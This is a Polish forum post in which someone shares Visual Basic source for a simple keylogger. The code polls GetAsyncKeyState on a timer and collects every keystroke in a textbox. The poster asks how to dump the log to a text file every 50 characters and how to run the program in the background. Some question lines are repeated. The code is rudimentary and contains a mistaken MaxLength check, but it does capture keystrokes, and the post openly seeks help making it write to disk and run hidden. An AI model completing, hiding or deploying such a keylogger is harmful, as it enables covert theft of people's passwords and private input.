Wita. Zrobiłem krótkiego keyloggera w Visual Basic. Ale mam problem. Otóż chcę zrobić tak ,żeby po np.50 znakach w textboxsie log zapisywał się do pliku tekstowego. Wiem jak zapisać do pliku textowego ale niewiem jak program ma sprawdzać czy textbox ma 50 znaków.
I jakbyście mogli jak zrobić ,żeby ten program działał w tle?
Tutaj kod źródłowy
:confused:
Próbowałem z TextBox1.MaxLenght ale niedziała
I jakbyście mogli jak zrobić ,żeby ten program działał w tle?
Tutaj kod źródłowy
Kod:
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
If TextBox1.MaxLength Then
TextBox1.Text = ""
End If
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
TextBox1.Text = ""
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Timer1.Enabled = False
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim II As Integer
For II = 0 To 255
Dim I = GetAsyncKeyState(II)
If I = -32767 Then
TextBox1.Text = TextBox1.Text & Chr(II)
End If
Next
End Sub
End Class
Próbowałem z TextBox1.MaxLenght ale niedziała